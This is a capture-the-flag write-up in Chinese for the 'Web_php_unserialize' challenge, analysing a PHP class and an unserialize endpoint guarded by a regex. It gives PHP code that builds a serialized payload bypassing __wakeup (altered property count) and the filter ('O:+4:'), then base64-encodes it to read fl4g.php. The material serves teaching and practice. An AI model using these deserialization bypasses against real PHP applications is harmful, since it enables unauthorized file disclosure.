攻防世界-引导-Web_php_unserialize

题目内容:

出现一段源代码,分段分析

第一部分如下

复制代码
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
 
?>

用php定义了一个对象类为 Demo,出现了三个方法:_construct(),_destruct(),_wakeup()

看到_wakeup()想到了序列化和反序列化。想到利用反序列化绕过_wakeup(),最后还有一个提示flag在fl4g.php中

再看后面的部分

第二部分如下

复制代码
<?php 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这边很明晰那看出使用了一个叫var的参数用来进行get方法,并且传后会进行base64进行解码,

接下去会对你穿的参数进行一个反序列化的判断,这边是等下要绕过的考虑点。所以题目比较明显的点出了需要通过反序列化操作来进行。

操作

通过编译器直接进行序列化操作

php 复制代码
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            $this->file = 'index.php'; 
        } 
    } 
}

$demo = new Demo('fl4g.php');
// 序列化对象
$payload = serialize($demo);
echo "原始序列化字符串: " . $payload . "\n";
// 1. 绕过__wakeup():修改属性数量
$payload = str_replace(':1:', ':2:', $payload);
// 2. 绕过正则检测:在类名长度前添加+号
$payload = str_replace('O:4:', 'O:+4:', $payload);
echo $payload . "\n";

?>

这边要注意的是,因为文中提到的成员变量是private类型所以在demo前和后需加入空字符串,

php 复制代码
<?php
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

$err=base64_encode($err);
echo $err;

?>

这边等后面出一个对序列化和反序列化比较详细的博客在讲一讲。

相关推荐
Web3_Daisy21 小时前
从透明到可控:链上换仓与资产路径管理的下一阶段
人工智能·安全·web3·区块链·比特币
金仓拾光集21 小时前
金仓数据库平替MongoDB:医共体数据互通的高效安全之道
数据库·安全·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库
知花实央l21 小时前
【Web应用安全】SQLmap实战DVWA SQL注入(从环境搭建到爆库,完整步骤+命令解读)
前端·经验分享·sql·学习·安全·1024程序员节
JaguarJack1 天前
PHP 组件未来:Livewire 4 正式发布,性能更快,功能更完整
后端·php
龙须草AI笔记1 天前
N8N系列:新手课程,本地 N8N 不安全?Windows 下 HTTPS 配置指南,新手也能看懂
windows·安全·https·入门教程·ai技术·ai工具·n8n
cqwuliu1 天前
通过nginx+openssl自签名证书部署https应用并解决不安全问题
nginx·安全·https
半桔1 天前
【IO多路转接】深入解析 poll:从接口到服务器实现
linux·运维·服务器·php
Whoami!1 天前
6-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸通过宏文件实现反向shell
网络安全·信息安全·oscp·宏病毒
今日说"法"1 天前
Rust 内存泄漏的检测与防范:超越安全的实践指南
java·安全·rust
Z3r4y1 天前
【代码审计】ECShop_V4.1.19 SQL注入漏洞 分析
php·代码审计·ecshop